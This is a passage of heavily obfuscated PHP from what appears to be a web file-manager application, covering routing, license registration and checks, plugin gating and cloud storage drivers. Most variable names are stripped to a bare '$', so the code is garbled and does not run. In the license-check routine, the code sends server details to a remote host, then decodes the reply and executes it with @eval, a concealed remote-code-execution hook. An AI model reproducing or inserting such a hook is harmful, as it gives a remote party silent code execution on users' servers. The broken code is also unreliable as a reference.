[$[1819]] = $[1275]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($ 
) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $ = $[$[1839]]; if ($ == -1) { $ 
 = $[$[1840]]; } if ($[$[1819]] == $[110] && $) { $[$[1820]] += $; } $this->update(); } } goto F 
; F: $qgmwxjhpzo = $_SERVER[][691]; if (strlen($qgmwxjhpzo) < $_SERVER[][688]) { die; } class Application { private $de 
faultModule = "index"; private $defaultController = "index"; private $defaultAction = "index"; 
function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($ 
[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[692]; if (strlen($ 
) < $[693]) { die; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[694]; if (strlen($ 
) < $[695]) { return; } $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ = $[696]; while (strlen($ 
) < $[688]) { if (!$) { break; } $++; } $this->jegh08601bc7($[1], array($this, $[2])); $ = $[697]; } pub 
lic function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = $[698]; if 
(strlen($) < $[695]) { return; } $ = strtolower($[0]); $ = $[3]; if ($ == $[4]) { $ = $[5]; $[ 
0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $ 
[9]), $ . $[10], $); ActionCall($); call_user_func(array($[8], $[9]), $ . $[11], $); $ = $[699] 
; if (strlen($) < $[326]) { return; } } private function autorun() { $ =& $_SERVER[]; $ =& $_SERVER[]; glob 
al $config; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); $ 
= $[700]; while ($ < $[326]) { if ($ >= 0) { break; } $++; } } } private function htjnab1a9354() { $ =& $_SER 
VER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[701]; while ($ < $[695]) { if ($ >= 0) { brea 
k; } $++; } $ = $GLOBALS[$[13]][$[14]][0]; $ = $[702]; if (!$) { return; } if (!$ || strlen($ 
) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen( 
$)); $ = array($[4], $); $ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $[703]; if (strlen($ 
) < $[704]) { return; } $GLOBALS[$[13]][$[14]] = array_merge($, $); $ = $[705]; $GLOBALS[$[13]][$ 
[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function oqrd25787161() { $ =& $_SERVER[]; $ =& $_SE 
RVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[706]; $ = 
$[17]; $ = $[707]; if (strlen($) < $[693]) { die; } if (!strstr($, $)) { return; } $ = strrpos($, 
$); $ = $[708]; if (!$) { return; } $ = substr($, $ + strlen($)); $ = $[709]; while (strlen($ 
) < $[704]) { if (!$) { break; } $++; } preg_match_all($[18], $, $); $ = trim($[0][0], $[19]); $ 
 = $[710]; if (strlen($) < $[704]) { die; } $GLOBALS[$[13]][$[14]] = explode($[19], $); $GLOBALS[$[13 
]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $ =& $ 
_SERVER[]; $this->oqrd25787161(); $this->htjnab1a9354(); $ = $GLOBALS[$[13]][$[14]]; $ = $GLOBALS[$[13]][$[15 
]]; define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[711]; while (strlen($) < $ 
[704]) { if (!$) { break; } $++; } define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); def 
ine($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($[23], MOD . $[0] . ST . $[0] . ACT); $ 
 = $[712]; if (strlen($) < $[688]) { return; } $_SERVER[$[24]] = strtolower(ACTION); $ = $[713]; $this->au 
torun(); $ = $[714]; if (!$) { die; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } 
private $ikfg863a10f8 = array(); private $tjlz46e76026 = ''; public function gjkub896b086() { $ =& $_SERVER[]; $ =& $_SERVER[ 
]; $this->npyq089114ae(); $ = $[715]; if (strlen($) < $[695]) { return; } $this->ruap7e8a0df8(); $this->uxjl481f4656(); 
$this->pfxe18687997(); $this->vcsib7656530(); $ = $[716]; while (strlen($) < $[693]) { if (!$) { break; } $++; } $ 
this->tcau55e489b6(); $this->bpms2251bbad(); $ = $[717]; if (!$) { return; } $this->jegh08601bc7($[25], array($this, $ 
[26])); $this->jegh08601bc7($[27], array($this, $[28])); $ = $[718]; if (!$) { die; } $this->jegh08601bc7($[29], 
array($this, $[30])); $ = $[719]; if (strlen($) < $[688]) { die; } $this->jegh08601bc7($[31], array($this, $ 
[32])); $ = $[720]; if (!$) { return; } } public function belfee9855ba($) { $ =& $_SERVER[]; $ =& $_SERV 
ER[]; $ = Model($[33])->get(); $ = array($[34], $[35], $[36], $[37], $[38], $[39], 
$[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[5 
0], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $ 
[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $ 
[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], 
$[83], $[84], $[85]); foreach ($ as $ 
 
]]; unset($[$[88]][$[90]][$[91]]); unset($[$[88]][$[90]][$[92]]); unset($[$[88]][$ 
[89]][$[46]]); $ = $[721]; while ($ < $[704]) { if ($ >= 0) { break; } $++; } unset($[$[88]] 
[$[89]][$[93]]); $[$[88]][$[89]][$[94]] = array($[95] => (int) $[$[96]], $[97] => 
(int) _get($, $[98], 0)); $ = $[722]; if (!$) { die; } $ = substr(md5($[99] . get_client_ip() . $ 
[$[100]]), 0, 15); $[$[101]][$[102]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $[$[101]][$ 
[103]] = Action($[104])->accessToken(); $[$[101]][$[105]] = md5($_SERVER[$[106]] . $[$[100]]) 
; $ = $[723]; while (strlen($) < $[688]) { if (!$) { break; } $++; } $[$[101]][$[107]] = base64_e 
ncode(serverInfo()); $ = $[724]; if (!$) { die; } $[$[101]][$[108]] = $this->tjlz46e76026; if ($[$ 
[108]] != $[109]) { $[$[101]][$[110]] = $[$[110]]; $[$[101]][$[111]] = $[$[1 
11]]; $ = rand_string(10) . $this->tjlz46e76026 . rand_string(5); $[$[88]][$[112]][$[113]] = $this->movbf0c46773 
($, $[$[101]][$[105]]); } if ($this->tjlz46e76026 == $[109]) { $[$[88]][$[89]][$[94]][$ 
[98]] = 0; } $[$[101]][$[114]] = $this->versionPluginFilter(); $[$[101]][$[115]] = _get($this->ikfg863 
a10f8, $[116], $[6]); $ = $[725]; if (KodUser::isRoot() && $this->config[$[117]]) { $[$[101]][$[1 
18]] = WEB_ROOT; } return $; } private function tcau55e489b6() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERV 
ER[$[24]] == $[119]; $ = $[726]; if (strlen($) < $[695]) { die; } if ($_SERVER[$[24]] == $[120 
] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[108] => $this->tjlz46e76026, $[123] => $th 
is->mwhb27d5f33e(), $[124] => Model($[125])->count()); if ($this->tjlz46e76026 != $[109]) { $ = _get($this->ikfg863a1 
0f8, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->ikfg863a10f8, $[129])); 
$[$[130]] = _get($this->ikfg863a10f8, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_stri 
ng($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr 
($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $ 
this->shwy74269dfb(json_encode($), md5($[136])); $ = $[727]; while ($ < $[695]) { if ($ >= 0) { break; } 
$++; } $ = array($[137] => $); $ = $[728]; call_user_func(array($[138], $[139]), $); $ 
= $[729]; if (strlen($) < $[693]) { die; } } if ($this->tjlz46e76026 == $[109]) { return; } $ = array($[140 
], $[141], $[142], $[143], $[144], $[145]); $ = $[730]; while (strlen($) < $[704]) { if (!$ 
) { break; } $++; } $ = Model($[33])->get(); $ = $[731]; while ($ < $[693]) { if ($ >= 0) { break; } 
$++; } $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); $ 
= $[732]; if (strlen($) < $[326]) { return; } foreach ($ as $) { if (!isset($[$]) || !$[$ 
]) { continue; } $[$] = $[$]; } call_user_func(array($[138], $[139]), $); } private function pfxe18 
687997() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isR 
oot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->dyzsc87ba3d1(); die; } if (isset($[$[15 
1]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$ 
[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get 
($[100]); $ = md5($_SERVER[$[106]] . $); $ = $[733]; while (strlen($) < $[326]) { if (!$) { 
break; } $++; } $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $ 
[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[ 
164]], $[105] => $, $[165] => Model($[33])->get($[131])); $ = $[734]; while (strlen($) < $[ 
695]) { if (!$) { break; } $++; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$ 
[151]] = md5($[$[152]] . $[166] . $[$[155]]); } if ($[$[167]] == $[168]) { $ = $this->shwy 
74269dfb($, $[169]); $ = $this->movbf0c46773(json_encode($), $ . $[170], 3); $ = $ . $[171] . $ 
_SERVER[$[160]]; $ = $this->wxql0bf7c415($[172] . $ . $[173] . $, -1); show_json($, !0); } else { if ($ 
[$[167]] == $[174]) { $ = substr(md5($[175] . $), 12, 15) . $[176]; $ = $this->hoqy66faaedf(trim($ 
[$[177]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[178]]) || $[$ 
[152]] != !0) { $ = $[179]; $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($, !1); 
} else { $[$[155]] = $[$[178]][$[181]]; } } else { $ = $this->wxql0bf7c415($[182], $, 10); $ 
 = $[735]; if (strlen($) < $[326]) { return; } } } if (!is_array($) || !is_array($[$[178]]) || $[$ 
[152]] != !0) { $ = LNG($[183]); $ = $[$[178]] ? $[180] . $[$[178]] : $; show_json($ 
, !1); } $ = $[$[178]]; $ = $this->atbv31eea042($[$[184]]); if (!$ || $ != $[$[129]]) 
{ $ = array($[185] => Model($[33])->get($[100]), $[186] => $_SERVER[$[106]], $[187] => this_url(), $ 
[161] => $_SERVER[$[162]]); $ = $this->vmtg8d149cd5(json_encode($)); $this->wxql0bf7c415($[188] . $); show_jso 
n(LNG($[189]), !0); } $ = array($[153] => $[$[190]], $[191] => $[$[192]], $[193] => rand 
_string(16), $[108] => $[$[194]]); if ($[$[155]]) { $[$[193]] = $[$[155]]; } $ = subst 
r(md5($[$[191]]), 10, 10); $ = $ . $[$[108]] . $[$[193]]; $ = $[736]; $[$[110]] = 
strrev(base64_encode($this->shwy74269dfb($, $[195]))); $ = $[737]; $ = rand_string(16); $ = $ . $[$ 
[108]] . $this->shwy74269dfb(md5($[$[153]]), $); $ = $[738]; if (strlen($) < $[693]) { return; } $ 
[$[111]] = base64_encode(strrev($this->shwy74269dfb($, $[196]))); if ($[$[197]] && $[$[197]] >= 
1) { Model($[33])->setDeep($[198], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[106]] . strre 
v($) . $[$[191]]); $ = strrev(substr($, 10, 16)); $ = $[739]; if (strlen($) < $[704]) { return 
; } $ = $this->movbf0c46773(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[199]); $ 
 = $[740]; $ = $[$[200]]; $ = $[741]; if (!$) { return; } $ = array(); $[$] = $; Mod 
el($[7])->update($[$[201]], array($[202] => $)); $this->ikfg863a10f8 = $; $ = $[742]; if (!$ 
) { return; } $this->tjlz46e76026 = $[$[108]]; $this->licenseRegistSuccess(); Cache::set($[203] . md5($ . $[20 
4]), $[6]); $ = $[743]; if (!$) { return; } show_json(LNG($[189]), !0); $ = $[744]; } private function li 
censeRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); if ($[$[63]] != $[122]) { Model($ 
[33])->set($[63], $[122]); } Action($[205])->initStart(!0); } private function dyzsc87ba3d1() { $ =& $_SERVER[]; 
$ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[191] => $[6], $[108] => $[ 
109], $[110] => $[6], $[111] => $[6])); Model($[33])->setDeep($[198], $[206]); $this->ikfg863a10f8 
= array(); $ = $[745]; if (!$) { die; } $this->tjlz46e76026 = $[109]; $ = $[746]; while ($ < $[68 
8]) { if ($ >= 0) { break; } $++; } } private function npyq089114ae() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SE 
RVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $ = $[747]; $this->tjlz46e76026 = $[109]; $ = $[748]; if 
(strlen($) < $[704]) { die; } $ = Model($[33])->get(); $ = $[749]; if (!$) { die; } if ($[$[1 
08]] == $[109]) { return; } $ = Model($[33])->get($[100]); $ = $[203] . md5($ . $[204]); $ = Ca 
che::get($); if (!is_array($) || !isset($[$[207]]) || time() - $[$[207]] >= 60) { $ = Model($[7])-> 
loadList(); $ = $[$[200]]; $ = md5($_SERVER[$[106]] . strrev($) . $[$[191]]); $ = strrev(subs 
tr($, 10, 16)); $ = $this->hoqy66faaedf($[$[86]][$], $); $ = json_decode($, !0); } if (!is_array($ 
)) { return $this->dyzsc87ba3d1(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->dyzsc87ba3d1(); } if (! 
isset($[$[207]]) || time() - $[$[207]] > 20) { $[$[207]] = time(); Cache::set($, $); } $this->ikfg86 
3a10f8 = $; $this->tjlz46e76026 = $[$[108]]; $ = $[750]; while ($ < $[695]) { if ($ >= 0) { brea 
k; } $++; } } private function ruap7e8a0df8() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ 
 = $[751]; $ = $_SERVER[$[24]]; $ = $[752]; if (!$) { return; } if ($ == $[208] && $this->tjlz46 
e76026 == $[109]) { show_json(LNG($[209]), !1, $[210]); } $ = array($[211], $[212]); if (in_array($, $ 
)) { if ($this->tjlz46e76026 == $[109] && isset($[$[213]])) { show_json(LNG($[209]), !1, $[210]); die; } $ = $ 
this->mwhb27d5f33e(); if ($ != intval($[214])) { if ($ <= Model($[125])->count()) { show_json(LNG($[215]), !1, $ 
[210]); die; } } } } private function uxjl481f4656() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $ 
[120]); if (!KodUser::isRoot() || !isset($_GET[$[216]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ 
 = $[217]; $ = $[753]; $ = $this->rkql95ceede5($, $[218]); $ = $[754]; if (strlen($) < $ 
[704]) { die; } $ = stream_context_create(array($[219] => array($[220] => $[221], $[222] => 3))); $ = $ 
[755]; $ = @file_get_contents($, !1, $); header($[223]); if ($ && strstr($, $[224])) { echo $; } die; 
} public function lfzk5bea654d($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->tjlz46e76026 == $[225]) { retu 
rn $; } $ = $this->versionPluginList(); $ = explode($[226], $this->versionPluginFilter()); $ = array(); $ = $ 
[756]; if (strlen($) < $[688]) { return; } foreach ($ as $ => $) { if ($ == $[227] && substr($this->t 
jlz46e76026, 0, 1) == $[227]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unse 
t($[$]); $ = $[757]; if (strlen($) < $[695]) { return; } } return $; $ = $[758]; while ($ < $ 
[695]) { if ($ >= 0) { break; } $++; } } private function versionPluginList() { $ =& $_SERVER[]; return array($ 
[228] => $[227], $[229] => $[227], $[230] => $[227], $[231] => $[232], $[233] => $[232], $ 
[234] => $[232], $[235] => $[232], $[236] => $[232], $[237] => $[232], $[238] => $[232], $ 
[239] => $[232], $[240] => $[232], $[241] => $[232], $[242] => $[232], $[243] => $[232], $ 
[244] => $[232]); $ = $_SERVER[][759]; if (!$) { return; } } private function versionPluginFilter() { $ =& $_SERVER[ 
]; if ($this->tjlz46e76026 == $[109]) { return $[6]; } $ = _get($this->ikfg863a10f8, $[245], $[6]); $ = _get($this 
->ikfg863a10f8, $[116], $[6]); $ = $_SERVER[][760]; $ = _get($this->ikfg863a10f8, $[246], $[6]); if ($ > 
time() && $ > time()) { $ = explode($[226], $); $ = array_keys($this->versionPluginList()); $ = array_merge($ 
, $); $ = implode($[226], array_filter(array_unique($))); } return $; } private function bpms2251bbad() { $ =& 
$_SERVER[]; if ($this->tjlz46e76026 != $[109]) { $GLOBALS[$[86]][$[90]][$[247]] = $[206]; return; } $GLOBALS[ 
$[86]][$[248]] = $[122]; if (Model($[249])->get($[63]) != $[206]) { Model($[249])->set($[63], $ 
[206]); } } public function sreo26737152() { return $_SERVER[][250]; } private function vcsib7656530() { $ =& $_SERVER[]; $ 
 =& $_SERVER[]; $ = array($[251], $[252], $[253]); $ = $[761]; $ = $[254] . md5($[255 
]); if ($this->tjlz46e76026 == $[109] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (t 
ime() % 4 != 0) { return; } $ = call_user_func(array($[256], $[257]), $); if ($ && time() - $ < intval($[258 
])) { return; } call_user_func(array($[256], $[139]), $, time()); $ = $[762]; $ = Model($[33])->get($[10 
0]); $ = array($[152] => Model($[33])->get($[153]), $[167] => $this->tjlz46e76026, $[163] => $_SERVER[$[ 
164]], $[165] => Model($[33])->get($[131]), $[105] => md5($_SERVER[$[106]] . $), $[156] => $[136], $ 
[159] => $_SERVER[$[160]]); $ = $this->wxql0bf7c415($[259], $); if (!is_array($)) { return; } if ($[$ 
[152]] && $[$[260]]) { if ($this->atbv31eea042($[$[260]]) == $[$[152]]) { return; } } $this->dyzsc87ba3d 
1(); $ = $[763]; if (strlen($) < $[688]) { die; } if ($this->atbv31eea042($[$[260]]) != $[$[152]]) 
{ $ = array($[185] => $, $[186] => $_SERVER[$[106]], $[187] => this_url(), $[161] => $_SERVER[$[162]]) 
; $ = $this->vmtg8d149cd5(json_encode($)); $ = $this->wxql0bf7c415($[188] . $); if ($ && is_array($) && i 
sset($[$[260]])) { $ = $this->hoqy66faaedf($[$[260]], 2); if ($) { $ = $this->atbv31eea042($); } i 
f ($) { try { @eval($); } catch (Exception $) { } } } } } private function wxql0bf7c415($ = '', $ = array(), $ 
 = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[261]; $ = $this->rkql95ceede5($, $[262]); $ 
 = $ . $; $ = $[764]; if ($ && is_array($)) { $ = $ . $[263] . http_build_query($); } 
if ($ === -1) { return $; } $ = stream_context_create(array($[219] => array($[222] => $, $[220] => $ 
[264]), $[265] => array($[266] => !1, $[267] => !1))); $ = $[765]; $ = @file_get_contents($, !1, $) 
; return json_decode($, !0); $ = $[766]; if (!$) { return; } } private function mwhb27d5f33e() { $ =& $_SERVER[ 
]; $ =& $_SERVER[]; $ = array($[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] 
=> $[275], $[276] => $[277], $[278] => $[214], $[279] => $[214], $[280] => $[269], $[281] 
=> $[271], $[282] => $[273], $[283] => $[284], $[285] => $[275], $[286] => $[287], $[288] 
=> $[277], $[289] => $[290], $[291] => $[292], $[293] => $[294]); $ = $[767]; if (!$) { d 
ie; } $ = $[$this->tjlz46e76026]; $ = intval($ ? $ : $[269]); $ = _get($this->ikfg863a10f8, $[295] 
); $ = $ ? intval($) : 0; $ = $[768]; if (strlen($) < $[326]) { return; } return $ + $; } public funct 
ion edfgb4f9da7e($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->mwhb27d5f33e(); $ = $[769]; whil 
e (strlen($) < $[704]) { if (!$) { break; } $++; } if ($[$[296]] == $[122]) { return; } if ($ >= intva 
l($[214])) { return; } $ = Model($[125])->count(); $ = $[770]; if ($ <= $) { return; } $ = Model($ 
[125])->field($[296])->limit($)->select(); $ = array_to_keyvalue($, $[6], $[296]); if (!in_array($[$[2 
96]], $)) { show_json($[297], !1, $[210]); } } public function yhjsb0ded17c() { $ =& $_SERVER[]; $ =& $_SERVER[ 
]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[217]; $ = $[771]; if (strlen($) < $[704]) 
{ die; } $ = $this->rkql95ceede5($, $[218]); $ = $[772]; if (!$) { die; } $ = stream_context_create(arra 
y($[219] => array($[220] => $[221], $[222] => 3))); $ = $[773]; $ = @file_get_contents($, !1, $); 
echo $[298] . hash_encode($) . $[299]; } private function movbf0c46773($, $, $ = 3) { $ =& $_SERVER[ 
]; $ =& $_SERVER[]; usleep(1); $ = $[774]; while ($ < $[704]) { if ($ >= 0) { break; } $++; } $ 
 = trim($); $ = $[775]; if (!$) { return; } $ = mt_rand(0, 5) . $[6]; $ = $[776]; while ($ < $ 
[326]) { if ($ >= 0) { break; } $++; } $ = rand_string(15); $ = $[777]; if (!$) { die; } $ = $[300]; switch 
($) { case $[206]: $ = $this->shwy74269dfb($, strrev($ . $)); $ = $[778]; if (!$) { die; } br 
eak; $ = $[779]; case $[122]: $ = $this->shwy74269dfb($, strrev($ . $)); break; $ = $[780]; case $ 
[301]: $ = $this->shwy74269dfb($, base64_encode($ . $)); break; $ = $[781]; case $[302]: $ = 
$this->shwy74269dfb($, md5($ . $)); break; case $[303]: $ = base64_encode($); $ = $[782]; if (strlen 
($) < $[695]) { return; } $ = rand(0, 64); $ = $[783]; $ = $[$]; $ = md5($ . md5($ 
. $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[784]; while (strlen($) < $[326]) { if (!$ 
) { break; } $++; } $ = $[6]; $ = $[785]; while (strlen($) < $[326]) { if (!$) { break; } $ 
++; } $ = 0; $ = $[786]; if (!$) { return; } $ = 0; $ = $[787]; if (strlen($) < $[695]) { return; 
} $ = 0; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ + 
strpos($, $[$]) + ord($[$++])) % 64; $ .= $[$]; $ = $[788]; while ($ < $[326]) 
{ if ($ >= 0) { break; } $++; } } $ = hash_encode($ . $); $ = $[789]; while (strlen($) < $[6 
95]) { if (!$) { break; } $++; } break; default: $ = $this->shwy74269dfb($, $ . $); $ = $[790]; whil 
e (strlen($) < $[704]) { if (!$) { break; } $++; } break; } $ = strrev($ . $ . $); if ($ - 1 > 0) 
{ $ = $this->movbf0c46773($, $, $ - 1); } return $; } private function hoqy66faaedf($, $, $ = 
3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($ 
); $ = strrev($); $ = $[0]; $ = $[791]; if (strlen($) < $[693]) { die; } $ = substr($ 
, 1, 15); $ = $[792]; if (strlen($) < $[704]) { die; } $ = substr($, 16); $ = $[793]; $ = $ 
[300]; switch ($) { case $[206]: $ = $this->rkql95ceede5($, strrev($ . $)); $ = $[794]; break; cas 
e $[122]: $ = $this->rkql95ceede5($, strrev($ . $)); $ = $[795]; while (strlen($) < $[704]) { if 
(!$) { break; } $++; } break; $ = $[796]; if (!$) { return; } case $[301]: $ = $this->rkql95ceede5($, b 
ase64_encode($ . $)); break; $ = $[797]; if (!$) { return; } case $[302]: $ = $this->rkql95ceede5($, 
md5($ . $)); $ = $[798]; while (strlen($) < $[326]) { if (!$) { break; } $++; } break; case $[303]: $ 
 = hash_decode($); $ = $[0]; $ = $[799]; if (!$) { return; } $ = substr($, 1); $ = $[8 
00]; if (!$) { return; } $ = strpos($, $); $ = md5($ . md5($ . $) . $); $ = substr($ 
, $ % 8, $ % 8 + 7); $ = $[6]; $ = 0; $ = 0; $ = 0; for ($ = 0; $ < strlen($); $++) { $ 
 = $ == strlen($) ? 0 : $; $ = $[801]; if (strlen($) < $[704]) { die; } $ = $++; $ = 
$[700]; if (!$) { return; } $ = strpos($, $[$]) - $ - ord($[$]); $ = $[802]; while (s 
trlen($) < $[693]) { if (!$) { break; } $++; } while ($ < 0) { $ += 64; $ = $[803]; while (strlen 
($) < $[693]) { if (!$) { break; } $++; } } $ .= $[$]; } $ = base64_decode($); $ = $ 
[804]; while (strlen($) < $[704]) { if (!$) { break; } $++; } break; default: $ = $this->rkql95ceede5($, $ 
 . $); $ = $[805]; while (strlen($) < $[688]) { if (!$) { break; } $++; } break; } if ($ - 1 
> 0) { $ = $this->hoqy66faaedf($, $, $ - 1); } return $; } public function vmtg8d149cd5($) { $ =& $_SE 
RVER[]; $ =& $_SERVER[]; $ = $this->pbjr834867c2(); $ = $[806]; while ($ < $[326]) { if ($ >= 0) 
{ break; } $++; } $ = $this->pbjr834867c2(); $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); while (1) 
{ $ = $; $ = $; $ = $[807]; if (strlen($) < $[704]) { die; } while ($ % $ != 0) { $ = $ 
; $ = $; $ = $ % $; } if ($ == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $ * 10; 
$++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->shwy74269dfb($ 
 * $ . $[6], $[136]); $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ . $[306]); $ 
 = $[808]; $ = $this->shwy74269dfb($, $) . $[307] . $; return $; $ = $[809]; if (strlen($ 
) < $[326]) { die; } } public function atbv31eea042($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explo 
de($[307], $); $ = $[810]; if (count($) != 2) { return $[6]; } $ = $this->rkql95ceede5($[1] . $ 
[6], $[136]); $ = $[811]; if (!$) { return $[6]; } $ = intval($); $ = 0; $ = $[812]; if (strl 
en($) < $[688]) { return; } $ = 0; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ 
= $; $ = intval($ / $); break; } $ = ($ - 1) * ($ - 1); $ = $[813]; if (!$) { return; } $ 
= intval(($ + $) / 2); $ = $[814]; if (!$) { return; } while (1) { $ = $; $ = $; while ($ 
% $ != 0) { $ = $; $ = $[815]; if (!$) { die; } $ = $; $ = $[815]; if (!$) { die; } $ 
 = $ % $; $ = $[816]; } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[817]; while ($ < 
$[688]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ 
 = intval(($ * $ + 1) / $); break; } } $ = md5($[304] . ($ + $) . $[305] . $ . $[305] . $ 
 . $[306]); $ = $this->rkql95ceede5($[0], $); $ = $[818]; if (strlen($) < $[695]) { die; } return 
$; } public function pbjr834867c2() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $ 
 = $[819]; while (strlen($) < $[693]) { if (!$) { break; } $++; } $ = 1; while ($ <= (int) sqrt($ 
)) { $ = $; while (!0) { $++; $ = $[820]; if (strlen($) < $[326]) { return; } if ($ <= 2) { $ = $ 
; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ 
== 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; } $ = 2; for ($ = $; $ > 1; $--) 
{ $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } } 
return $; } public function jegh08601bc7($, $) { $ =& $_SERVER[]; return call_user_func(array($[8], $[3 
08]), $, $); } public function shwy74269dfb($, $) { $ =& $_SERVER[]; return call_user_func(array($[309], $ 
[310]), $, $); } public function rkql95ceede5($, $) { $ =& $_SERVER[]; return call_user_func(array($[3 
09], $[311]), $, $); } } goto A; a: class PathDriverBOS extends PathDriverS3 { public function __construct($) { 
parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public functio 
n isBucketCors() { return !0; } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { 
$ = $[314] . substr($, 7); } header($[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public fu 
nction __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($ 
, $ = 3600) { $ =& $_SERVER[]; $ = $[229]; $ = $[263]; $ = $[274]; $ = gmdate($[ 
299], time() + $); $ = (string) time() . $[74] . (string) (time() + $); $ = array($[275] => $, $[278] 
=> array(array($[280] => $), array($[279] => $this->bucket), array($[281], $[282], $[12]), array($ 
[285] => $), array($[1407] => $), array($[1408] => $this->accessKey), array($[1409] => $))); $ = jso 
n_encode($); $ = hash_hmac($[263], $, $this->secret); $ = sha1($); $ = hash_hmac($[263], $, $ 
); $ = array($[280] => $, $[285] => $, $[293] => base64_encode($), $[1407] => $, $ 
[1408] => $this->accessKey, $[1410] => $, $[1411] => $, $[208] => $this->getHost()); return $; } public func 
tion fileOutImage($, $ = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutIma 
geServer($, $); } $ = $this->link($); $ .= $[1412] . $ . $[1413]; $this->fileOutLink($); } public fun 
ction fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[313]) { $ = $[314] . substr($, 7); 
} header($[175] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __co 
nstruct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1414]); } public function getPath($) { return trim($ 
, $_SERVER[][8]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); re 
